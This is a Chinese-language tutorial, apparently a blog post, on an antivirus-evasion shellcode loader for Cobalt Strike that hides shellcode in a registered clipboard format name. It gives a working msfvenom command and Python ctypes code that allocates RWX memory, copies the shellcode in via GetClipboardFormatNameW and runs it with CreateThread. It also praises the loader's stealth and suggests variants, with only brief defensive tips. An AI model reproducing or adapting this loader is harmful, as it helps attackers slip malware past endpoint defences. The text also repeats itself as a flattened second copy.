CS免杀-剪切板加载器
字数 1670 2025-08-09 13:33:32

CS免杀-剪切板加载器技术详解

1. 前言与背景

内存加载器基本原理:

  • 申请可执行内存
  • 将shellcode写入内存
  • 执行该内存

传统方法存在的问题:

  • 申请内存相对容易(可通过多种Windows API实现)
  • 执行内存内容也有多种方法(CreateThread或回调函数)
  • 难点在于如何将shellcode写入内存

传统写入方法:

  • RtlMoveMemory/RtlCopyMemory等函数
  • UUID方式写入内存
  • MAC/IPV4/IPV6方式写入内存
  • 读取注册表REG方式写入内存

2. 剪切板技术基础

2.1 剪切板概念

  • 一组功能和消息,用于应用程序间数据传输
  • 所有应用程序都可以访问剪贴板
  • 便于在应用程序之间或应用程序内传输数据

2.2 剪切板格式

  • 每种类型的对象对应不同的剪切板格式
  • 每种格式有预定义的标识值
  • 可以注册新的剪切板格式来存放自定义数据

3. 关键API函数

3.1 RegisterClipboardFormat

功能:注册新的剪贴板格式

函数原型

UINT RegisterClipboardFormatW(
  LPCSTR lpszFormat
);

参数

  • lpszFormat:新格式的名称

返回值

  • 成功:返回该格式对应的标识值
  • 失败:返回0

3.2 GetClipboardFormatName

功能:从剪贴板中检索指定注册格式的名称,并将名称复制到指定的缓冲区

函数原型

int GetClipboardFormatNameW(
  UINT   format,
  LPWSTR lpszFormatName,
  int    cchMaxCount
);

参数

  • format:注册的剪贴板格式标识符
  • lpszFormatName:接收格式名称的缓冲区
  • cchMaxCount:缓冲区大小(以字符为单位)

4. 剪切板加载器实现原理

核心思路:

  1. 使用shellcode作为名称注册一个新的剪切板格式
  2. 获取该剪切板格式的名称并写入申请的内存
  3. 执行内存中的shellcode

关键点:

  • shellcode必须排除\x00字符,否则名称会被截断
  • 需要先申请可执行内存区域
  • 通过GetClipboardFormatName将shellcode写入内存

5. 具体实现步骤

5.1 生成shellcode

使用msfvenom生成shellcode,注意排除\x00字符:

msfvenom -p windows/x64/exec CMD=calc.exe EXITFUNC=thread -b="\x00" -f py -o 123.py

5.2 申请可执行内存

ptr = ctypes.windll.kernel32.VirtualAlloc(0, len(buf)+1, 0x3000, 0x40)

参数说明:

  • 0:起始地址(由系统决定)
  • len(buf)+1:内存大小
  • 0x3000:MEM_COMMIT | MEM_RESERVE
  • 0x40:PAGE_EXECUTE_READWRITE

5.3 注册剪切板格式

name = ctypes.windll.user32.RegisterClipboardFormatW(buf)
  • 使用shellcode作为名称注册新格式
  • 返回格式标识符

5.4 将shellcode写入内存

ctypes.windll.user32.GetClipboardFormatNameW(name, ptr, len(buf)+1)
  • 将注册的剪切板格式名称(即shellcode)写入申请的内存

5.5 执行shellcode

handle = ctypes.windll.kernel32.CreateThread(0, 0, ptr, 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
  • 创建线程执行内存中的shellcode
  • WaitForSingleObject等待线程执行完成

6. 技术优势与特点

  1. 新颖的写入方式:利用剪切板API写入内存,不同于传统方法
  2. 隐蔽性:剪切板操作是系统常见行为,不易被检测
  3. 灵活性:可以结合其他技术(如格式混淆)增强免杀效果
  4. 兼容性:适用于多种编程语言实现

7. 注意事项

  1. shellcode必须排除\x00字符,否则会被截断
  2. 需要确保申请的内存具有可执行权限
  3. 不同系统版本API行为可能略有差异
  4. 32位和64位系统需要对应版本的payload
  5. 实际测试环境:Python 2.7,MSF生成64位弹计算器payload

8. 防御建议

针对此类攻击的防御措施:

  1. 监控异常的剪切板操作
  2. 检测非常规的剪切板格式注册
  3. 限制应用程序的剪切板访问权限
  4. 加强内存执行保护机制
  5. 使用行为分析检测异常的内存操作序列

9. 扩展思考

可能的变种技术:

  1. 结合多种写入方式混合使用
  2. 使用多个剪切板格式分段存储shellcode
  3. 与其他内存加载技术组合使用
  4. 利用其他系统组件实现类似功能

10. 总结

剪切板加载器技术提供了一种新颖的内存写入方式,通过利用系统剪切板功能将shellcode写入内存,实现了较好的免杀效果。这种技术展示了攻击者如何利用系统合法功能实现恶意目的,也提醒防御者需要从更全面的角度考虑系统安全防护。

CS免杀-剪切板加载器技术详解 1. 前言与背景 内存加载器基本原理: 申请可执行内存 将shellcode写入内存 执行该内存 传统方法存在的问题: 申请内存相对容易(可通过多种Windows API实现) 执行内存内容也有多种方法(CreateThread或回调函数) 难点在于如何将shellcode写入内存 传统写入方法: RtlMoveMemory/RtlCopyMemory等函数 UUID方式写入内存 MAC/IPV4/IPV6方式写入内存 读取注册表REG方式写入内存 2. 剪切板技术基础 2.1 剪切板概念 一组功能和消息,用于应用程序间数据传输 所有应用程序都可以访问剪贴板 便于在应用程序之间或应用程序内传输数据 2.2 剪切板格式 每种类型的对象对应不同的剪切板格式 每种格式有预定义的标识值 可以注册新的剪切板格式来存放自定义数据 3. 关键API函数 3.1 RegisterClipboardFormat 功能 :注册新的剪贴板格式 函数原型 : 参数 : lpszFormat :新格式的名称 返回值 : 成功:返回该格式对应的标识值 失败:返回0 3.2 GetClipboardFormatName 功能 :从剪贴板中检索指定注册格式的名称,并将名称复制到指定的缓冲区 函数原型 : 参数 : format :注册的剪贴板格式标识符 lpszFormatName :接收格式名称的缓冲区 cchMaxCount :缓冲区大小(以字符为单位) 4. 剪切板加载器实现原理 核心思路: 使用shellcode作为名称注册一个新的剪切板格式 获取该剪切板格式的名称并写入申请的内存 执行内存中的shellcode 关键点: shellcode必须排除 \x00 字符,否则名称会被截断 需要先申请可执行内存区域 通过GetClipboardFormatName将shellcode写入内存 5. 具体实现步骤 5.1 生成shellcode 使用msfvenom生成shellcode,注意排除 \x00 字符: 5.2 申请可执行内存 参数说明: 0:起始地址(由系统决定) len(buf)+1:内存大小 0x3000:MEM_ COMMIT | MEM_ RESERVE 0x40:PAGE_ EXECUTE_ READWRITE 5.3 注册剪切板格式 使用shellcode作为名称注册新格式 返回格式标识符 5.4 将shellcode写入内存 将注册的剪切板格式名称(即shellcode)写入申请的内存 5.5 执行shellcode 创建线程执行内存中的shellcode WaitForSingleObject等待线程执行完成 6. 技术优势与特点 新颖的写入方式:利用剪切板API写入内存,不同于传统方法 隐蔽性:剪切板操作是系统常见行为,不易被检测 灵活性:可以结合其他技术(如格式混淆)增强免杀效果 兼容性:适用于多种编程语言实现 7. 注意事项 shellcode必须排除 \x00 字符,否则会被截断 需要确保申请的内存具有可执行权限 不同系统版本API行为可能略有差异 32位和64位系统需要对应版本的payload 实际测试环境:Python 2.7,MSF生成64位弹计算器payload 8. 防御建议 针对此类攻击的防御措施: 监控异常的剪切板操作 检测非常规的剪切板格式注册 限制应用程序的剪切板访问权限 加强内存执行保护机制 使用行为分析检测异常的内存操作序列 9. 扩展思考 可能的变种技术: 结合多种写入方式混合使用 使用多个剪切板格式分段存储shellcode 与其他内存加载技术组合使用 利用其他系统组件实现类似功能 10. 总结 剪切板加载器技术提供了一种新颖的内存写入方式,通过利用系统剪切板功能将shellcode写入内存,实现了较好的免杀效果。这种技术展示了攻击者如何利用系统合法功能实现恶意目的,也提醒防御者需要从更全面的角度考虑系统安全防护。